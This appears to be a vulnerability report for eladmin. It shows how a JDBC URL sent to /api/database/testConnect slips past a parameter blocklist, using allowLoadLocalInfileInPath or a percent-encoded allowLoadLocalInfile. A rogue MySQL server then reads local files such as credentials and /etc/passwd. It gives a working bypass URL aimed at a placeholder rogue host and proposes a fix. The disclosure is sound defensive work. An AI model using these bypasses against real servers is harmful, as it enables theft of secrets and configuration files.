Arbitrary file read via /api/database/testConnect: the sanitizeJdbcUrl blocklist is bypassable
POST /api/database/testConnect lets an authenticated user read arbitrary files off the eladmin host. Point jdbcUrl at a MySQL server you control, and the connection attempt pulls a local file back through LOAD DATA LOCAL INFILE. SqlUtils.sanitizeJdbcUrl is supposed to strip the parameters that enable this, but it doesn't catch them.
Two ways around it, both confirmed against the driver:
allowLoadLocalInfileInPath=/isn't in the list at all. It turns on LOAD DATA LOCAL INFILE for any file under that path (connector/j 8.0.22+), regardless ofallowLoadLocalInfile. Same parameter as Apache InLong's CVE-2023-34434.- Percent-encode the name.
%61%6C%6C%6F%77%4C%6F%61%64%4C%6F%63%61%6C%49%6E%66%69%6C%65=truedecodes toallowLoadLocalInfile=true. The regex only matches the literal name, but the driver decodes the URL first.
testConnect forwards the request body's jdbcUrl straight down: testConnect -> databaseService.testConnection -> SqlUtils.testConnection -> getDataSource -> sanitizeJdbcUrl -> DruidDataSource.init(). It needs the database:testConnect permission, so it's authenticated, not pre-auth.
I ran it with mysql-connector-j 8.0.33 (what the 2.7.18 BOM pulls) and DruidDataSource the same way SqlUtils does, against a rogue MySQL server that answers the first query with a LOAD DATA LOCAL INFILE for a file I pick. I called SqlUtils.testConnection directly rather than spin up the whole app, since the controller just passes the body through. With db.password=SECRET123 in a file on the victim side and
jdbc:mysql://<rogue-host>:<port>/test?allowLoadLocalInfileInPath=/&useSSL=falsethe rogue server gets back db.password=SECRET123. Same with /etc/passwd or the datasource config. Affects current master (2.x); eladmin-mp ships the identical sanitizeJdbcUrl.
#900 reports the same endpoint as an SSRF issue and calls the blocklist bypassable but doesn't say with what :). Its repro stays on internal-host probing and lists file read only as a hypothetical. The above is the file read actually carried out: the specific parameters that survive the filter, an exfiltration I ran end to end against a real driver, and a patch with regression tests for both bypasses.
Impact: authenticated arbitrary file read on the host (DB creds, config, container tokens, anything the JVM user can read). Knock PR down if database:testConnect is admin-only in your default roles.
Fix is to parse the query and drop any param whose decoded, lower-cased name is dangerous instead of rewriting =true. A prefix check on allowloadlocalinfile covers both the plain and the InPath form, and decoding before the check closes the encoding gap. I've got a patch with a test for both bypasses and can send a PR.
Source: elunez/eladmin